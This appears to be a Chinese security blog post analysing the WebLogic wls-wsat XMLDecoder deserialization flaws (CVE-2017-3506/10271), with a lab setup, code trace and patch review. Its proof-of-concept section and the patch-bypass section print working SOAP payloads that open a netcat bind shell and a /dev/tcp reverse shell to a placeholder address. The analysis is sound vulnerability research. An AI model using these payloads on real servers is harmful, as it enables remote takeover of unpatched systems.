Yoga7xm's Blog

记Weblogic反序列化的一次学习-(1)

字数统计: 1.6k阅读时长: 7 min
2018/10/30 Share

0x00 前言

第一次写调试漏洞的blog,参考了好多师傅的博客,可能有些许的小错误,还望大师兄们指点指点

0x01 漏洞编号:CVE-2017-3506 & CVE-2017-10271 (wls-wsat 远程命令执行绕过漏洞)

影响版本

Oracle WebLogic Server10.3.6.0.0 版本

Oracle WebLogic Server12.1.3.0.0 版本

Oracle WebLogic Server12.2.1.1.0 版本

Oracle WebLogic Server12.2.1.2.0 版本

wls-wsat目录表

/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

0x02 漏洞复现

0x03 测试环境搭建

利用vulhub中开源的docker-compose.yml进行安装

1
2
3
4
5
6
7
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8899:8899"

最底下一行是为后面IDEA远程debug需连接服务而增加的额外端口映射关系

然后执行docker-compose up -d,需要等待较长时间进行安装


安装过后,docker ps -a可查看所有容器,此时docker exec -i -t <容器ID> /bin/bash 可进入交互式shell

修改脚本配置启动debug模式。~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

vim中查找到

在此之前添加两行代码

然后保存退出,运行setDomainEnv.sh后重启容器,docker restart <容器ID>

重启过后,netstat -ntpl命令查看是否开启了7001、8899端口

由于weblogic并不是开源项目,故没有源代码,只能用IDEA反编译打开并调试

将Weblogic中的包进行拷贝出来

docker cp root_weblogic_1:/root/Oracle/Middleware/wlserver_10.3 ./WebLogic

docker cp root_weblogic_1:/root/Oracle/Middleware/modules ./modules

然后将虚拟机中这两个文件拷贝至宿主机中,并用IDEA导入,

并将server/lib/root/Oracle/Middleware/modules这两个文件夹add to library

完了之后就能打开其中的jar包和war包了


这时我们能开始配置远程调试了

打开菜单栏>运行>Configurations进行配置

打开Debug, 若此时控制台出现了

Connected to the target VM, address: '192.168.114.128:8899', transport: 'socket'

说明已配置成功

0x04 测试POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.114.128:7001
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Type: text/xml
Content-Length: 1403

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index = "0">
<string>/bin/sh</string>
</void>
<void index = "1">
<string>-c</string>
</void>
<void index = "2">
<string>nc -lp 8888 -e /bin/bash</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

0x05 复现及分析过程

发包后,自动开始debug

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if (var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if (var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}

Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if (var4 != null) {
this.readHeader(var4);
}
}

return super.processRequest(var1);
}

此方法是将收到的post数据中</work:WorkContext>标签内的内容传入readHeaderOld方法中,继续跟进

weblogic.wsee.jaxws.workcontext.WorkContextTube

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);

其中XMLStreamWriter为:

*The XMLStreamWriter interface specifies how to write XML. The XMLStreamWriter does not perform well formedness checking on its input. *

​ 这个接口指定了如何编写XML,并且对其输入没有很好地执行格式检查

然后创建了一个ByteArrayInputStream()对象,并且实例化后将var4内容作为参数传入构造方法中,

其中var4的内容,此时为:

继续跟进WorkContextXmlInputAdapter类中内的构造方法

weblogic.wsee.workarea.WorkContextXmlInputAdapter

1
2
3
public WorkContextXmlInputAdapter(InputStream var1) {
this.xmlDecoder = new XMLDecoder(var1);
}

此处将传入的内容进行反序列化,而且没有对其内容进行任何处理!!!

补充一点:

weblogic中使用了8个类似于CoordinatorPortType的接口,所以均能利用

0x06 漏洞起因及补丁

​ Weblogic暴露或间接暴露反序列化 API ,参数可控并未过滤,导致攻击者可以精心构造反序列化对象并执行恶意代码

以下是Oracle官方在2017年4月发布的补丁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}

private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}

在反序列化之前增加了一个validate方法,假如qName为object就异常终止程序。但是这种黑名单式的检测,并没有彻底修复,于是用以下Exp可以成功bypass。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/bin/bash -i &gt; /dev/tcp/xxx.xxx.xxx.xxx/8888 0&lt;&amp;1 2&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

但是在10月份的补丁中,该漏洞已被修复。


0x07 参考链接

从0开始学习WebLogic(Java)反序列化 (1)

【漏洞预警】Oracle WebLogic wls-wsat RCE CVE-2017-10271 & CVE-2017-3506

关于近期发生的利用weblogic漏洞进行挖矿事件的漏洞简要分析

CVE-2017-3506 & 10271:Weblogic 远程代码执行漏洞分析及复现笔记

CATALOG
  1. 1. 0x00 前言
  2. 2. 0x01 漏洞编号:CVE-2017-3506 & CVE-2017-10271 (wls-wsat 远程命令执行绕过漏洞)
  3. 3. 0x02 漏洞复现
  4. 4. 0x03 测试环境搭建
  5. 5. 0x04 测试POC
  6. 6. 0x05 复现及分析过程
    1. 6.1. weblogic.wsee.jaxws.workcontext.WorkContextServerTube
    2. 6.2. weblogic.wsee.jaxws.workcontext.WorkContextTube
    3. 6.3. weblogic.wsee.workarea.WorkContextXmlInputAdapter
  7. 7. 0x06 漏洞起因及补丁
  8. 8. 0x07 参考链接